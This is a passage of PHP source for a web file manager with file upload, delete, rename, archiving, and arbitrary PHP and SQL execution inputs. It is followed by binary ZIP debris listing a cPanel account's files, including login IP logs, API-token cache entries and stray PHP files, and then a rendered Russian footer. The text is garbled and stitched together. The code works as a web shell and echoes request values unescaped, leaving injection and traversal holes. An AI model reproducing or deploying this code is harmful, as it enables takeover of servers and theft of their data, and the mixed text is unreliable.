(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') { if(!empty($_REQUEST['save'])) { rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']); $msg .= (__('File updated')); $_REQUEST['rename'] = $_REQUEST['newname']; } clearstatcache(); $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path; $backlink = $url_inc . '&path=' . $path; ?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$path?></th> </tr> <tr> <td class="row1"> <?=$msg?> </td> </tr> <tr> <td class="row1"> <a href="<?=$backlink?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$link?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php } else { //Let's rock! $msg = ''; if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) { if(!empty($_FILES['upload']['name'])){ $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']); if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){ $msg .= __('Error occurred'); } else { $msg .= __('Files uploaded').': '.$_FILES['upload']['name']; } } } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') { if(!fm_del_files(($path . $_REQUEST['delete']), true)) { $msg .= __('Error occurred'); } else { $msg .= __('Deleted').' '.$_REQUEST['delete']; } } elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) { if(!@mkdir($path . $_REQUEST['dirname'],0777)) { $msg .= __('Error occurred'); } else { $msg .= __('Created').' '.$_REQUEST['dirname']; } } elseif(!empty($_POST['search_recursive'])) { ini_set('max_execution_time', '0'); $search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']); if(!empty($search_data)) { $msg .= __('Found in files').' ('.count($search_data).'):<br>'; foreach ($search_data as $filename) { $msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> '; } } else { $msg .= __('Nothing founded'); } } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) { if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) { $msg .= __('Error occurred'); } else { fclose($fp); $msg .= __('Created').' '.$_REQUEST['filename']; } } elseif (isset($_GET['zip'])) { $source = base64_decode($_GET['zip']); $destination = basename($source).'.zip'; set_time_limit(0); $phar = new PharData($destination); $phar->buildFromDirectory($source); if (is_file($destination)) $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>'; else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['gz'])) { $source = base64_decode($_GET['gz']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); clearstatcache(); set_time_limit(0); //die(); $phar = new PharData($destination); $phar->buildFromDirectory($source); $phar->compress(Phar::GZ,'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } elseif (isset($_GET['decompress'])) { // $source = base64_decode($_GET['decompress']); // $destination = basename($source); // $ext = end(explode(".", $destination)); // if ($ext=='zip' OR $ext=='gz') { // $phar = new PharData($source); // $phar->decompress(); // $base_file = str_replace('.'.$ext,'',$destination); // $ext = end(explode(".", $base_file)); // if ($ext=='tar'){ // $phar = new PharData($base_file); // $phar->extractTo(dir($source)); // } // } // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done'); } elseif (isset($_GET['gzfile'])) { $source = base64_decode($_GET['gzfile']); $archive = $source.'.tar'; $destination = basename($source).'.tar'; if (is_file($archive)) unlink($archive); if (is_file($archive.'.gz')) unlink($archive.'.gz'); set_time_limit(0); //echo $destination; $ext_arr = explode('.',basename($source)); if (isset($ext_arr[1])) { unset($ext_arr[0]); $ext=implode('.',$ext_arr); } $phar = new PharData($destination); $phar->addFile($source); $phar->compress(Phar::GZ,$ext.'.tar.gz'); unset($phar); if (is_file($archive)) { if (is_file($archive.'.gz')) { unlink($archive); $destination .= '.gz'; } $msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done'). '. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination) .' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>'; } else $msg .= __('Error occurred').': '.__('no files'); } ?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th> </tr> <?php if(!empty($msg)){ ?> <tr> <td colspan="2" class="row2"><?=$msg?></td> </tr> <?php } ?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($fm_config['make_directory'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php } ?> </td> <td> <?php if(!empty($fm_config['new_file'])) { ?> <form method="post" action="<?=$url_inc?>"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php } ?> </td> <td> <form method="post" action="<?=$url_inc?>" style="display:inline"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15"> <input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5"> <input type="submit" name="search" value="<?=__('Search')?>"> </form> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if (!empty($fm_config['upload_file'])) { ?> <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$path?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php } ?> </td> <td> <?php if ($auth['authorize']) { ?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$auth['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php } ?> </td> <td> <?=fm_lang_form($language)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $elements = fm_scan_dir($path, '', 'all', true); $dirs = array(); $files = array(); foreach ($elements as $file){ if(@is_dir($path . $file)){ $dirs[] = $file; } else { $files[] = $file; } } natsort($dirs); natsort($files); $elements = array_merge($dirs, $files); foreach ($elements as $file){ $filename = $path . $file; $filedata = @stat($filename); if(@is_dir($filename)){ $filedata[7] = ''; if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename); $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>'; $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file); $arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file); $style = 'row2'; if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = ''; } else { $link = $fm_config['show_img']&&@getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>'; $e_arr = explode(".", $file); $ext = end($e_arr); $loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file); $arlink = in_array($ext,array('zip','gz','tar')) ? '' : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file)); $style = 'row1'; $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; } $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>'; $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>'; ?> <tr class="<?=$style?>"> <td><?=$link?></td> <td><?=$filedata[7]?></td> <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td> <td><?=$rightstext?></td> <td><?=$deletelink?></td> <td><?=$renamelink?></td> <td><?=$loadlink?></td> <td><?=$arlink?></td> </tr> <?php } } ?> </tbody> </table> <div class="row3"><?php $mtime = explode(' ', microtime()); $totaltime = $mtime[0] + $mtime[1] - $starttime; echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/henriyzx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>'; if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion(); if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file(); if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2); if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>'; if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>'; if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>'; if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>'; ?> </div> <script type="text/javascript"> function download_xls(filename, text) { var element = document.createElement('a'); element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text); element.setAttribute('download', filename); element.style.display = 'none'; document.body.appendChild(element); element.click(); document.body.removeChild(element); } function base64_encode(m) { for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) { c = m.charCodeAt(l); if (128 > c) d = 1; else for (d = 2; c >= 2 << 5 * d;) ++d; for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f]) } b && (g += k[f << 6 - b]); return g } var tableToExcelData = (function() { var uri = 'data:application/vnd.ms-excel;base64,', template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>', format = function(s, c) { return s.replace(/{(\w+)}/g, function(m, p) { return c[p]; }) } return function(table, name) { if (!table.nodeType) table = document.getElementById(table) var ctx = { worksheet: name || 'Worksheet', table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1") } t = new Date(); filename = 'fm_' + t.toISOString() + '.xls' download_xls(filename, base64_encode(format(template, ctx))) } })(); var table2Excel = function () { var ua = window.navigator.userAgent; var msie = ua.indexOf("MSIE "); this.CreateExcelSheet = function(el, name){ if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer var x = document.getElementById(el).rows; var xls = new ActiveXObject("Excel.Application"); xls.visible = true; xls.Workbooks.Add for (i = 0; i < x.length; i++) { var y = x[i].cells; for (j = 0; j < y.length; j++) { xls.Cells(i + 1, j + 1).Value = y[j].innerText; } } xls.Visible = true; xls.UserControl = true; return xls; } else { tableToExcelData(el, name); } } } </script> </body> </html> <?php //Ported from ReloadCMS project http://reloadcms.com class archiveTar { var $archive_name = ''; var $tmp_file = 0; var $file_pos = 0; var $isGzipped = true; var $errors = array(); var $files = array(); function __construct(){ if (!isset($this->errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.': <br/>'; foreach ($Errors as $value) $message .= $value.'<br/>'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $i<count($file_array); $i++){ $filename = $file_array[$i]; if ($filename == $this->archive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PK r �[5��� � .lastloginnu "�] � 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 109.128.120.118 # 2024-10-17 22:39:56 +0200 109.128.120.118 # 2024-10-17 22:39:56 +0200 109.128.120.118 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200 176.133.205.107 # 2024-10-17 22:39:56 +0200PK r �[�*��w w .cpanel/nvdata.cachenu ��٘� PK r �[~�� - � .cpanel/datastore/_usr_local_cpanel_cpanel_-Fnu "�] � PK r �[l1�\ + .cpanel/datastore/Cpanel::MysqlRun::runningnu "�] � PK r �[�Ķ� � 9 � .cpanel/datastore/AVAILABLE_APPLICATIONS_CACHE_en_jupiternu "�] � PK r �[O&e} � .cpanel/datastore/mysql-db-countnu "�] � PK r �[���l l 2 F� .cpanel/caches/config/_etc_cpupdate.conf___defaultnu "�] � PK r �[��� � O � .cpanel/caches/config/_usr_local_cpanel_etc_team_features_database___2859283035nu "�] � PK r �[8�#8� � ? /� .cpanel/caches/config/_var_cpanel_features_default___2859283035nu "�] � PK r �[�m�Xi i L �� .cpanel/caches/config/_usr_local_cpanel_etc_team_features_email___2859283035nu "�] � PK r �[�yH�� � L g� .cpanel/caches/config/_usr_local_cpanel_etc_team_features_admin___2859283035nu "�] � PK r �[�r� � W ϣ .cpanel/caches/config/_etc_cpanel_ea4_paths.conf___default_equal_space_seperated_confignu "�] � PK r �[t�� J 3� .cpanel/caches/config/_usr_local_cpanel_etc_team_features_web___2859283035nu "�] � PK r �[C��� C �� .cpanel/caches/config/_etc_domainips___default_colon_with_one_spacenu "�] � PK r �[ ��+d d N 5� .cpanel/caches/config/_usr_local_cpanel_etc_team_features_default___2859283035nu "�] � PK r �[C��� @ � .cpanel/caches/config/_var_cpanel_features_disabled___2859283035nu "�] � PK r �[��UT�� �� * �� .cpanel/caches/dynamicui/jupiter_en_.cachenu ��٘� PK r �[��܃ , �� .cpanel/nvdata/cp-feature-showcase_dismissednu �[��� PK r �[��܃ D � .cpanel/nvdata/campaign.cpanel-koality-sidebar-app.6.10.24-dismissednu �[��� PK r �[���W W % f� .cpanel/nvdata/CSSS_cpanel_api_tokensnu �[��� PK r �[��܃ ( � .cpanel/nvdata/terminal_warning_acceptednu �[��� PK r �[ k� akcc.phpnu �[��� PK r �[�I�]: ]: �� xtride.phpnu �[��� PK r �[5��� � :� .lastloginnu "�] � PK R �
| ver. 1.6 |
Github
|
.
| PHP 8.1.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка